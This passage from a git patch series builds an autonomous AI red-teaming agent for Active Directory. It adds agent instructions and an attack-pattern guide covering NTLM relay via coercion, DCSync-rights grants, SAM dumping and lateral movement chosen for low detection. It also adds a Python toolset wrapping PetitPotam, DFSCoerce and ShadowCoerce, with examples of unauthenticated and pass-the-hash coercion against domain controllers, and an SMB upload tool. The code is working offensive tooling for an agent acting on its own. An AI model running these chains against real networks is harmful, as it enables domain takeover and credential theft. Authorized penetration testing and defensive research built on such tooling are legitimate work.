methods except `impacket_secretsdump`), cracking (`hashcat`, `john_the_ripper`), netexec (auth checks, spraying), certipy (exploitation methods), bloodyad (all methods including write operations), krbrelayx, coercion tools (`coerce_petitpotam`, `coerce_dfscoerce`, `coerce_shadowcoerce`), and `report_item`. For lateral movement after credential recovery, use `impacket_wmiexec` (preferred — lowest detection), `impacket_smbexec`, `impacket_psexec`, `impacket_atexec`, or `impacket_dcomexec`. **Do not use:** nmap or sharpview — discovery and enumeration are complete. Do not use `impacket_secretsdump` — credential dumping belongs to the harvesting stage. ## Attack Priority @@ -23,8 +23,9 @@ Follow the **ad-attack-patterns** skill. Work through signals flagged by the enu 2. **Credential Spraying**: only if password policy permits (check lockout threshold). Stay under `threshold - 2` attempts per observation window. 3. **AD CS Exploitation**: if vulnerable templates were flagged, request certs and authenticate. 4. **ACL Abuse**: if writable objects were flagged, use bloodyad to escalate (RBCD, shadow creds, group membership). Clean up after. -5. **Delegation Abuse**: constrained (S4U via impacket) or unconstrained (relay via krbrelayx). -6. **GPP Passwords**: if SYSVOL was accessible. +5. **Delegation Abuse**: constrained (S4U via impacket) or unconstrained (relay via krbrelayx + coercion). +6. **NTLM Relay**: start `impacket_ntlmrelayx`, then coerce with `coerce_petitpotam` / `coerce_dfscoerce` / `coerce_shadowcoerce`. Consult **ad-attack-patterns** for coercion method selection. +7. **GPP Passwords**: if SYSVOL was accessible. For each recovered credential, immediately: - Verify via `netexec_smb_auth` — look for `(Pwn3d!)` diff --git a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md index f5ace0e..bb5a59d 100644 --- a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md +++ b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md @@ -83,11 +83,37 @@ Reference for common AD attack chains. Each pattern lists prerequisites, tool se | Step | Tool | Action | |---|---|---| | 1. Identify delegation hosts | SharpView `get_domain_computer` Unconstrained | Find unconstrained delegation computers | -| 2. Setup relay listener | Krbrelayx `krbrelayx_relay` | Listen for incoming Kerberos auth | -| 3. Coerce authentication | Krbrelayx `krbrelayx_printer_bug` | Trigger SpoolService on DC | +| 2. Setup relay listener | `krbrelayx_relay` | Listen for incoming Kerberos auth | +| 3. Coerce authentication | See coercion method selection below | Force DC to authenticate to relay | | 4. Capture TGT | Krbrelayx captures delegated ticket | Obtain DC machine account TGT | | 5. Use TGT for DCSync | Impacket with Kerberos auth | DCSync with captured DC ticket | +### NTLM Relay (via Coercion) + +**Prerequisites:** Ability to coerce authentication, relay target that accepts NTLM (SMB signing disabled, LDAP signing not required, or AD CS HTTP endpoint). + +| Step | Tool | Action | +|---|---|---| +| 1. Start relay listener | `impacket_ntlmrelayx` | Listen and relay to target (SMB/LDAP/AD CS) | +| 2. Coerce authentication | See coercion method selection below | Force target to authenticate to relay | +| 3. Relay captures and forwards | ntlmrelayx relays auth | Escalation depends on relay target | + +**Relay targets by impact:** +- **LDAP/LDAPS:** configure RBCD, add shadow credentials, grant DCSync rights, create computer accounts +- **AD CS (ESC8):** request certificate as coerced machine, authenticate with cert for NT hash +- **SMB:** dump SAM hashes, execute commands if signing disabled + +### Coercion Method Selection + +Try methods in order based on what's available on the target. Use netexec `spooler` and `webdav` modules during enumeration to check which services are enabled. + +| Method | Tool | Protocol | When to Use | +|---|---|---|---| +| PetitPotam | `coerce_petitpotam` | MS-EFSRPC | **Try first.** Most reliable. Works unauthenticated on unpatched systems. | +| Print Spooler | `krbrelayx_printer_bug` | MS-RPRN | When spooler is enabled (check via netexec `spooler` module). | +| DFSCoerce | `coerce_dfscoerce` | MS-DFSNM | When EFS and spooler are both hardened. | +| ShadowCoerce | `coerce_shadowcoerce` | MS-FSRVP | Targets file servers with VSS. Limited auth options (no Kerberos). | + ### Credential Spraying **Prerequisites:** User list, knowledge of password policy (lockout threshold). @@ -147,6 +173,7 @@ When a credential is recovered, test it systematically: | Credential verification | netexec SMB | netexec LDAP/WinRM for protocol-specific checks | | ACL manipulation | BloodyAD | Impacket for DACL-specific operations | | Certificate ops | Certipy | — | +| Auth coercion | `coerce_petitpotam` | `krbrelayx_printer_bug` → `coerce_dfscoerce` → `coerce_shadowcoerce` (try in order based on target services) | | Delegation abuse | Impacket (S4U) | Krbrelayx for unconstrained delegation relay | | Credential dump | Impacket secretsdump | — | | Remote execution | `impacket_wmiexec` | `impacket_smbexec` → `impacket_atexec` → `impacket_dcomexec` → `impacket_psexec` (escalating detection) | diff --git a/capabilities/network-ops/tools/coercion.py b/capabilities/network-ops/tools/coercion.py new file mode 100644 index 0000000..f7b67f9 --- /dev/null +++ b/capabilities/network-ops/tools/coercion.py @@ -0,0 +1,395 @@ +"""Authentication coercion tools for forcing NTLM/Kerberos relay attacks. + +Wraps standalone coercion scripts that trigger Windows RPC calls to force +a target machine to authenticate to an attacker-controlled listener. The +captured authentication is then relayed via ``impacket_ntlmrelayx`` (NTLM) +or ``krbrelayx_relay`` (Kerberos) for privilege escalation. + +Supported protocols: + +- **MS-EFSRPC** (PetitPotam) — most reliable, works when spooler is disabled +- **MS-DFSNM** (DFSCoerce) — alternative when EFS is hardened +- **MS-FSRVP** (ShadowCoerce) — targets file servers with VSS enabled + +The existing ``krbrelayx_printer_bug`` (MS-RPRN) remains in krbrelayx.py +as it is part of that toolkit. +""" + +from __future__ import annotations + +import sys +from pathlib import Path + +from dreadnode import Config +from dreadnode.agents.tools import Toolset, tool_method +from dreadnode.tools.execute import execute + +g_default_petitpotam_path = Path("/opt/PetitPotam/") +g_default_dfscoerce_path = Path("/opt/DFSCoerce/") +g_default_shadowcoerce_path = Path("/opt/ShadowCoerce/") + + +def _resolve_script(base_path: Path, script_name: str) -> Path: + """Locate a coercion script, raising a clear error if not found.""" + script = base_path / script_name + if script.is_file(): + return script + raise FileNotFoundError( + f"Coercion script '{script_name}' not found at '{base_path}'. " + f"Install via: git clone {base_path}" + ) + + +class Coercion(Toolset): + """Authentication coercion methods for triggering relay attacks. + + Each method forces a target machine to authenticate to an + attacker-controlled listener via a different Windows RPC protocol. + Use after starting a relay listener (``impacket_ntlmrelayx`` or + ``krbrelayx_relay``). + + Repositories: + - PetitPotam: https://github.com/topotam/PetitPotam + - DFSCoerce: https://github.com/Wh04m1001/DFSCoerce + - ShadowCoerce: https://github.com/ShutdownRepo/ShadowCoerce + """ + + timeout: int = Config(default=30) + """Default timeout for coercion commands in seconds.""" + petitpotam_path: Path = Config(default=g_default_petitpotam_path) + """Directory containing PetitPotam.py.""" + dfscoerce_path: Path = Config(default=g_default_dfscoerce_path) + """Directory containing dfscoerce.py.""" + shadowcoerce_path: Path = Config(default=g_default_shadowcoerce_path) + """Directory containing shadowcoerce.py.""" + + @tool_method(catch=True) + async def coerce_petitpotam( + self, + listener: str, + target: str, + *, + username: str | None = None, + password: str | None = None, + domain: str | None = None, + hashes: str | None = None, + no_pass: bool = False, + kerberos: bool = False, + dc_ip: str | None = None, + target_ip: str | None = None, + pipe: str | None = None, + env: dict[str, str] | None = None, + input: str | None = None, + ) -> str: + r""" + Coerce authentication via MS-EFSRPC (PetitPotam). + + Triggers EfsRpcOpenFileRaw on the target to force it to authenticate + to the listener. Most reliable coercion method — works even when + Print Spooler is disabled. Pair with ``impacket_ntlmrelayx`` or + ``krbrelayx_relay`` to capture and relay the authentication. + + Usage Examples: + # Coerce DC to authenticate to relay listener + await coerce_petitpotam( + listener="10.10.10.100", + target="dc01.corp.local", + username="user", + password="Password123", + domain="corp.local" + ) + + # Unauthenticated coercion (works on unpatched systems) + await coerce_petitpotam( + listener="10.10.10.100", + target="dc01.corp.local", + no_pass=True + ) + + # Use specific named pipe + await coerce_petitpotam( + listener="10.10.10.100", + target="dc01.corp.local", + username="user", + password="Password123", + domain="corp.local", + pipe="efsr" + ) + + + PetitPotam - PoC to coerce machine account authentication via + MS-EFSRPC EfsRpcOpenFileRaw(). + + positional arguments: + listener IP address or hostname of listener + target IP address or hostname of target + + options: + -u USERNAME, --username USERNAME + Valid username + -p PASSWORD, --password PASSWORD + Valid password + -d DOMAIN, --domain DOMAIN + Valid domain name + -hashes [LMHASH]:NTHASH + NT/LM hashes + -no-pass Don't ask for password (useful for -k) + -k Use Kerberos authentication from ccache file + -dc-ip ip address IP Address of the domain controller + -target-ip ip address IP Address of the target machine + -pipe {efsr,lsarpc,samr,netlogon,lsass,all} + Named pipe to use (default: lsarpc) + + + Args: + listener: Attacker IP/hostname receiving the coerced authentication (required). + target: Target IP/hostname to coerce authentication from (required). + username: Username for authentication to the target. + password: Password for authentication. + domain: Domain name for authentication. + hashes: NTLM hashes in [LMHASH]:NTHASH format. + no_pass: Don't prompt for password (for unauthenticated or Kerberos). + kerberos: Use Kerberos authentication from ccache (KRB5CCNAME). + dc_ip: Domain controller IP address override. + target_ip: Target machine IP address override. + pipe: Named pipe — 'efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', or 'all'. + env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). + input: Optional stdin input. + """ + args: list[str] = [] + + if username: + args.extend(["-u", username]) + if password: + args.extend(["-p", password]) + if domain: + args.extend(["-d", domain]) + if hashes: + args.extend(["-hashes", hashes]) + if no_pass: + args.append("-no-pass") + if kerberos: + args.append("-k") + if dc_ip: + args.extend(["-dc-ip", dc_ip]) + if target_ip: + args.extend(["-target-ip", target_ip]) + if pipe: + args.extend(["-pipe", pipe]) + + args.extend([listener, target]) + + script = _resolve_script(self.petitpotam_path, "PetitPotam.py") + return await execute( + [sys.executable, str(script), *args], + timeout=self.timeout, + input=input, + env=env, + ) + + @tool_method(catch=True) + async def coerce_dfscoerce( + self, + listener: str, + target: str, + *, + username: str | None = None, + password: str | None = None, + domain: str | None = None, + hashes: str | None = None, + no_pass: bool = False, + kerberos: bool = False, + dc_ip: str | None = None, + target_ip: str | None = None, + env: dict[str, str] | None = None, + input: str | None = None, + ) -> str: + r""" + Coerce authentication via MS-DFSNM (DFSCoerce). + + Triggers NetrDfsRemoveStdRoot on the target to force it to + authenticate to the listener. Alternative coercion vector when + both Print Spooler and EFS are hardened. + + Usage Examples: + # Coerce DC to authenticate to relay listener + await coerce_dfscoerce( + listener="10.10.10.100", + target="dc01.corp.local", + username="user", + password="Password123", + domain="corp.local" + ) + + # Coerce using pass-the-hash + await coerce_dfscoerce( + listener="10.10.10.100", + target="dc01.corp.local", + username="admin", + domain="corp.local", + hashes=":31d6cfe0d16ae931b73c59d7e0c089c0" + ) + + + DFSCoerce - PoC to coerce machine account authentication via + MS-DFSNM NetrDfsRemoveStdRoot(). + + positional arguments: + listener IP address or hostname of listener + target IP address or hostname of target + + options: + -u USERNAME, --username USERNAME + Valid username + -p PASSWORD, --password PASSWORD + Valid password + -d DOMAIN, --domain DOMAIN + Valid domain name + -hashes [LMHASH]:NTHASH + NT/LM hashes + -no-pass Don't ask for password (useful for -k) + -k Use Kerberos authentication from ccache file + -dc-ip ip address IP Address of the domain controller + -target-ip ip address IP Address of the target machine + + + Args: + listener: Attacker IP/hostname receiving the coerced authentication (required). + target: Target IP/hostname to coerce authentication from (required). + username: Username for authentication to the target. + password: Password for authentication. + domain: Domain name for authentication. + hashes: NTLM hashes in [LMHASH]:NTHASH format. + no_pass: Don't prompt for password (for unauthenticated or Kerberos). + kerberos: Use Kerberos authentication from ccache (KRB5CCNAME). + dc_ip: Domain controller IP address override. + target_ip: Target machine IP address override. + env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). + input: Optional stdin input. + """ + args: list[str] = [] + + if username: + args.extend(["-u", username]) + if password: + args.extend(["-p", password]) + if domain: + args.extend(["-d", domain]) + if hashes: + args.extend(["-hashes", hashes]) + if no_pass: + args.append("-no-pass") + if kerberos: + args.append("-k") + if dc_ip: + args.extend(["-dc-ip", dc_ip]) + if target_ip: + args.extend(["-target-ip", target_ip]) + + args.extend([listener, target]) + + script = _resolve_script(self.dfscoerce_path, "dfscoerce.py") + return await execute( + [sys.executable, str(script), *args], + timeout=self.timeout, + input=input, + env=env, + ) + + @tool_method(catch=True) + async def coerce_shadowcoerce( + self, + listener: str, + target: str, + *, + username: str | None = None, + password: str | None = None, + domain: str | None = None, + hashes: str | None = None, + debug: bool = False, + env: dict[str, str] | None = None, + input: str | None = None, + ) -> str: + r""" + Coerce authentication via MS-FSRVP (ShadowCoerce). + + Triggers File Server Remote VSS Protocol calls on the target to + force it to authenticate to the listener. Targets file servers + with VSS enabled. + + Note: ShadowCoerce does not support Kerberos auth, ``-no-pass``, + ``-dc-ip``, or ``-target-ip`` flags. Use PetitPotam or DFSCoerce + if those are needed. + + Usage Examples: + # Coerce file server to authenticate to relay listener + await coerce_shadowcoerce( + listener="10.10.10.100", + target="fs01.corp.local", + username="user", + password="Password123", + domain="corp.local" + ) + + # Coerce using pass-the-hash + await coerce_shadowcoerce( + listener="10.10.10.100", + target="fs01.corp.local", + username="admin", + domain="corp.local", + hashes=":31d6cfe0d16ae931b73c59d7e0c089c0" + ) + + + ShadowCoerce - MS-FSRVP authentication coercion PoC. + + positional arguments: + listener IP address or hostname of listener + target IP address or hostname of target + + options: + -u USERNAME, --username USERNAME + Valid username + -p PASSWORD, --password PASSWORD + Valid password + -d DOMAIN, --domain DOMAIN + Valid domain name + -hashes [LMHASH]:NTHASH + NT/LM hashes + -ts Adds timestamp to every logging output + -debug Turn DEBUG output ON + + + Args: + listener: Attacker IP/hostname receiving the coerced authentication (required). + target: Target IP/hostname to coerce authentication from (required). + username: Username for authentication to the target. + password: Password for authentication. + domain: Domain name for authentication. + hashes: NTLM hashes in [LMHASH]:NTHASH format. + debug: Enable debug output. + env: Optional environment variables. + input: Optional stdin input. + """ + args: list[str] = [] + + if username: + args.extend(["-u", username]) + if password: + args.extend(["-p", password]) + if domain: + args.extend(["-d", domain]) + if hashes: + args.extend(["-hashes", hashes]) + if debug: + args.append("-debug") + + args.extend([listener, target]) + + script = _resolve_script(self.shadowcoerce_path, "shadowcoerce.py") + return await execute( + [sys.executable, str(script), *args], + timeout=self.timeout, + input=input, + env=env, + ) diff --git a/capabilities/network-ops/tools/smbclient.py b/capabilities/network-ops/tools/smbclient.py index 5c384a0..cdc31e6 100644 --- a/capabilities/network-ops/tools/smbclient.py +++ b/capabilities/network-ops/tools/smbclient.py @@ -1,4 +1,6 @@ import asyncio +import os +import tempfile from dreadnode.agents.tools import Toolset, tool_method from dreadnode.tools.execute import execute @@ -117,3 +119,53 @@ async def smb_download_file( smb_command, ] ) + + @tool_method(catch=True) + async def smb_upload_file( + self, + target: str, + share_name: str, + remote_path: str, + content: str, + username: str, + password: str, + ) -> str: + """ + Upload a file to an SMB share. + + Writes ``content`` to a temporary local file, then uploads it to the + specified path on the remote share via smbclient ``put``. + + Args: + target: The target IP address or hostname. + share_name: The name of the SMB share (e.g., 'C$', 'SYSVOL'). + remote_path: Destination path within the share (e.g., 'temp\\payload.txt'). + content: The file content to upload. + username: The username for authentication. + password: The password for authentication. + + Returns: + The smbclient output confirming the upload. + """ + share_path = f"//{target}/{share_name}" + + with tempfile.NamedTemporaryFile(mode="w", suffix=".tmp", delete=False) as tmp: + tmp.write(content) + local_path = tmp.name + + smb_command = f"put {local_path} {remote_path}" + logger.info(f"Uploading to {share_path}\\{remote_path}") + + try: + return await execute( + [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + smb_command, + ] + ) + finally: + os.unlink(local_path) From f8a668962f141d649defef3a903a5a786732ba4d Mon Sep 17 00:00:00 2001 From: mkultraWasHere Date: Wed, 8 Jul 2026 12:01:09 -0400 Subject: [PATCH 4/8] fix(network-ops): add smbclient binary existence check All three SmbClient methods now verify smbclient is on PATH before executing, returning a clear install hint instead of a raw traceback. Co-Authored-By: Claude --- capabilities/network-ops/tools/smbclient.py | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/capabilities/network-ops/tools/smbclient.py b/capabilities/network-ops/tools/smbclient.py index cdc31e6..e300160 100644 --- a/capabilities/network-ops/tools/smbclient.py +++ b/capabilities/network-ops/tools/smbclient.py @@ -1,5 +1,6 @@ import asyncio import os +import shutil import tempfile from dreadnode.agents.tools import Toolset, tool_method @@ -7,6 +8,17 @@ from loguru import logger +def _require_smbclient() -> str: + """Return the smbclient binary path, raising a clear error if missing.""" + path = shutil.which("smbclient") + if path is None: + raise FileNotFoundError( + "smbclient is not installed or not on PATH. " + "Install via: apt install smbclient" + ) + return path + + class SmbClient(Toolset): """ Toolset for interacting with SMB shares using smbclient. @@ -45,7 +57,7 @@ async def smb_list_files( # partial output. timeout = 120 proc = await asyncio.create_subprocess_exec( - "smbclient", + _require_smbclient(), share_path, "-U", f"{username}%{password}", @@ -111,7 +123,7 @@ async def smb_download_file( logger.info(f"Downloading file {remote_path} from {share_path}") return await execute( [ - "smbclient", + _require_smbclient(), share_path, "-U", f"{username}%{password}", @@ -159,7 +171,7 @@ async def smb_upload_file( try: return await execute( [ - "smbclient", + _require_smbclient(), share_path, "-U", f"{username}%{password}", From f930dd2417775f38147bf5891f1c3ad3c4a35bec Mon Sep 17 00:00:00 2001 From: mkultraWasHere Date: Wed, 8 Jul 2026 12:19:04 -0400 Subject: [PATCH 5/8] fix(network-ops): restore network-ops-agent name for backwards compat Keep the user-facing agent name as network-ops-agent to avoid breaking existing TUI selections and saved configurations. Pipeline agents use the netops-* prefix internally but the standalone agent name stays the same as 1.x. Co-Authored-By: Claude --- .../agents/{netops-operator.md => network-ops-agent.md} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename capabilities/network-ops/agents/{netops-operator.md => network-ops-agent.md} (99%) diff --git a/capabilities/network-ops/agents/netops-operator.md b/capabilities/network-ops/agents/network-ops-agent.md similarity index 99% rename from capabilities/network-ops/agents/netops-operator.md rename to capabilities/network-ops/agents/network-ops-agent.md index e9c55a3..6bcc379 100644 --- a/capabilities/network-ops/agents/netops-operator.md +++ b/capabilities/network-ops/agents/network-ops-agent.md @@ -1,5 +1,5 @@ --- -name: netops-operator +name: network-ops-agent description: Autonomous red teaming agent for network operations and Active Directory exploitation in authorized penetration testing environments model: inherit --- From cf8957692f6accc324a57232de9974b69d47247a Mon Sep 17 00:00:00 2001 From: mkultraWasHere Date: Wed, 8 Jul 2026 12:53:17 -0400 Subject: [PATCH 6/8] fix(network-ops): address PR review feedback - Restore loguru stub in sys.modules after coordinator import (pipeline.py) - Fix max_steps docstring: per-stage clamp, not total budget (pipeline.py) - Sanitize SMB paths to prevent smbclient command injection via ; and ! - Guard local_path against UnboundLocalError in smb_upload_file finally - Include real repo URLs in coercion _resolve_script error messages Co-Authored-By: Claude --- capabilities/network-ops/tools/coercion.py | 19 ++++++++--- capabilities/network-ops/tools/pipeline.py | 9 +++-- capabilities/network-ops/tools/smbclient.py | 38 ++++++++++++++++----- 3 files changed, 50 insertions(+), 16 deletions(-) diff --git a/capabilities/network-ops/tools/coercion.py b/capabilities/network-ops/tools/coercion.py index f7b67f9..5520990 100644 --- a/capabilities/network-ops/tools/coercion.py +++ b/capabilities/network-ops/tools/coercion.py @@ -29,14 +29,14 @@ g_default_shadowcoerce_path = Path("/opt/ShadowCoerce/") -def _resolve_script(base_path: Path, script_name: str) -> Path: +def _resolve_script(base_path: Path, script_name: str, repo_url: str) -> Path: """Locate a coercion script, raising a clear error if not found.""" script = base_path / script_name if script.is_file(): return script raise FileNotFoundError( f"Coercion script '{script_name}' not found at '{base_path}'. " - f"Install via: git clone {base_path}" + f"Install via: git clone {repo_url} {base_path}" ) @@ -179,7 +179,10 @@ async def coerce_petitpotam( args.extend([listener, target]) - script = _resolve_script(self.petitpotam_path, "PetitPotam.py") + script = _resolve_script( + self.petitpotam_path, "PetitPotam.py", + "https://github.com/topotam/PetitPotam", + ) return await execute( [sys.executable, str(script), *args], timeout=self.timeout, @@ -288,7 +291,10 @@ async def coerce_dfscoerce( args.extend([listener, target]) - script = _resolve_script(self.dfscoerce_path, "dfscoerce.py") + script = _resolve_script( + self.dfscoerce_path, "dfscoerce.py", + "https://github.com/Wh04m1001/DFSCoerce", + ) return await execute( [sys.executable, str(script), *args], timeout=self.timeout, @@ -386,7 +392,10 @@ async def coerce_shadowcoerce( args.extend([listener, target]) - script = _resolve_script(self.shadowcoerce_path, "shadowcoerce.py") + script = _resolve_script( + self.shadowcoerce_path, "shadowcoerce.py", + "https://github.com/ShutdownRepo/ShadowCoerce", + ) return await execute( [sys.executable, str(script), *args], timeout=self.timeout, diff --git a/capabilities/network-ops/tools/pipeline.py b/capabilities/network-ops/tools/pipeline.py index 9d75c89..6ac3772 100644 --- a/capabilities/network-ops/tools/pipeline.py +++ b/capabilities/network-ops/tools/pipeline.py @@ -87,7 +87,7 @@ async def run_pipeline( "Optional model id for worker agents.", ] = None, max_steps: t.Annotated[ - int, "Maximum autonomous steps across all pipeline stages." + int, "Maximum autonomous steps per pipeline stage (each stage is capped independently)." ] = 240, timeout: t.Annotated[ int | None, @@ -339,7 +339,8 @@ def run(self) -> None: sys.modules["dreadnode.capabilities.worker"] = worker_module # Stub loguru so the coordinator can be imported without the package. - if "loguru" not in sys.modules: + previous_loguru = sys.modules.get("loguru") + if previous_loguru is None: loguru_module = types.ModuleType("loguru") class _StubLogger: @@ -360,6 +361,10 @@ def __getattr__(self, _name: str) -> t.Any: sys.modules["dreadnode.capabilities.worker"] = ( previous_worker_module ) + if previous_loguru is None: + sys.modules.pop("loguru", None) + else: + sys.modules["loguru"] = previous_loguru def _patch_websockets_proxy_compat() -> None: diff --git a/capabilities/network-ops/tools/smbclient.py b/capabilities/network-ops/tools/smbclient.py index e300160..93a7f9c 100644 --- a/capabilities/network-ops/tools/smbclient.py +++ b/capabilities/network-ops/tools/smbclient.py @@ -19,6 +19,24 @@ def _require_smbclient() -> str: return path +_SMBCLIENT_UNSAFE_CHARS = set(';!"\n\r') + + +def _sanitize_smb_path(path: str) -> str: + """Quote a path for smbclient ``-c`` commands, rejecting unsafe characters. + + smbclient's command language treats ``;`` as a command separator and + ``!`` as a shell escape. These cannot be safely quoted, so we reject + them outright. + """ + bad = _SMBCLIENT_UNSAFE_CHARS & set(path) + if bad: + raise ValueError( + f"SMB path contains unsafe characters {bad!r}: {path!r}" + ) + return f'"{path}"' + + class SmbClient(Toolset): """ Toolset for interacting with SMB shares using smbclient. @@ -47,7 +65,7 @@ async def smb_list_files( The text output of the recursive file listing. """ share_path = f"//{target}/{share_name}" - smb_command = f"recurse ON; ls {path}" + smb_command = f"recurse ON; ls {_sanitize_smb_path(path)}" logger.info(f"Recursively listing files in {share_path}\\{path}") @@ -118,7 +136,7 @@ async def smb_download_file( The content of the downloaded file as a string. """ share_path = f"//{target}/{share_name}" - smb_command = f"get {remote_path} /dev/stdout" + smb_command = f"get {_sanitize_smb_path(remote_path)} /dev/stdout" logger.info(f"Downloading file {remote_path} from {share_path}") return await execute( @@ -161,14 +179,15 @@ async def smb_upload_file( """ share_path = f"//{target}/{share_name}" - with tempfile.NamedTemporaryFile(mode="w", suffix=".tmp", delete=False) as tmp: - tmp.write(content) - local_path = tmp.name + local_path: str | None = None + try: + with tempfile.NamedTemporaryFile(mode="w", suffix=".tmp", delete=False) as tmp: + tmp.write(content) + local_path = tmp.name - smb_command = f"put {local_path} {remote_path}" - logger.info(f"Uploading to {share_path}\\{remote_path}") + smb_command = f"put {_sanitize_smb_path(local_path)} {_sanitize_smb_path(remote_path)}" + logger.info(f"Uploading to {share_path}\\{remote_path}") - try: return await execute( [ _require_smbclient(), @@ -180,4 +199,5 @@ async def smb_upload_file( ] ) finally: - os.unlink(local_path) + if local_path is not None: + os.unlink(local_path) From 3f5067879e8acd7fed19fe994cdf6d6a99613daf Mon Sep 17 00:00:00 2001 From: mkultraWasHere Date: Wed, 8 Jul 2026 13:30:22 -0400 Subject: [PATCH 7/8] fix(network-ops): capture enumeration tool_calls for findings extraction Enumeration stage can report Weakness items via report_item (e.g., unconstrained delegation, writable ACLs). These were discarded with `_` and not included in the structured findings for synthesis. Co-Authored-By: Claude --- capabilities/network-ops/workers/coordinator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/capabilities/network-ops/workers/coordinator.py b/capabilities/network-ops/workers/coordinator.py index 6fdb7f4..dbe8b0a 100644 --- a/capabilities/network-ops/workers/coordinator.py +++ b/capabilities/network-ops/workers/coordinator.py @@ -151,7 +151,7 @@ async def _run_pipeline( # --- Stage 3: AD Enumeration --- await _publish_progress(client, run_id, "enumeration_started") - enumeration_report, _ = await _run_agent_turn( + enumeration_report, enumeration_tool_calls = await _run_agent_turn( client, run_id=run_id, target=target, @@ -208,7 +208,7 @@ async def _run_pipeline( # --- Stage 6: Report Synthesis --- await _publish_progress(client, run_id, "report_synthesis_started") - all_tool_calls = exploit_tool_calls + harvest_tool_calls + all_tool_calls = enumeration_tool_calls + exploit_tool_calls + harvest_tool_calls findings = _extract_findings(all_tool_calls) synthesis_report, _ = await _run_agent_turn( From 6c482094bdd492e1bb6c4bb735eb73de1aa7d17f Mon Sep 17 00:00:00 2001 From: mkultraWasHere Date: Wed, 8 Jul 2026 14:06:05 -0400 Subject: [PATCH 8/8] fix(network-ops): prevent interactive shell hang in exec tools wmiexec, psexec, and dcomexec hang until timeout when called without a command since the underlying scripts launch an interactive shell. Now send exit via stdin when no command is given so the process terminates and returns the banner promptly. Co-Authored-By: Claude --- capabilities/network-ops/tools/impacket.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/capabilities/network-ops/tools/impacket.py b/capabilities/network-ops/tools/impacket.py index 4337dfa..97fe83b 100644 --- a/capabilities/network-ops/tools/impacket.py +++ b/capabilities/network-ops/tools/impacket.py @@ -3197,10 +3197,13 @@ async def impacket_wmiexec( ) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) + # If no command given, send exit to prevent interactive shell hang + effective_input = input if command else (input or "exit\n") + return await execute( self._build_script_command("wmiexec.py", args), timeout=timeout or self.timeout + 60, - input=input, + input=effective_input, env=env, ) @@ -3328,10 +3331,13 @@ async def impacket_psexec( ) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) + # If no command given, send exit to prevent interactive shell hang + effective_input = input if command else (input or "exit\n") + return await execute( self._build_script_command("psexec.py", args), timeout=timeout or self.timeout + 60, - input=input, + input=effective_input, env=env, ) @@ -3694,9 +3700,12 @@ async def impacket_dcomexec( ) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) + # If no command given, send exit to prevent interactive shell hang + effective_input = input if command else (input or "exit\n") + return await execute( self._build_script_command("dcomexec.py", args), timeout=timeout or self.timeout + 60, - input=input, + input=effective_input, env=env, )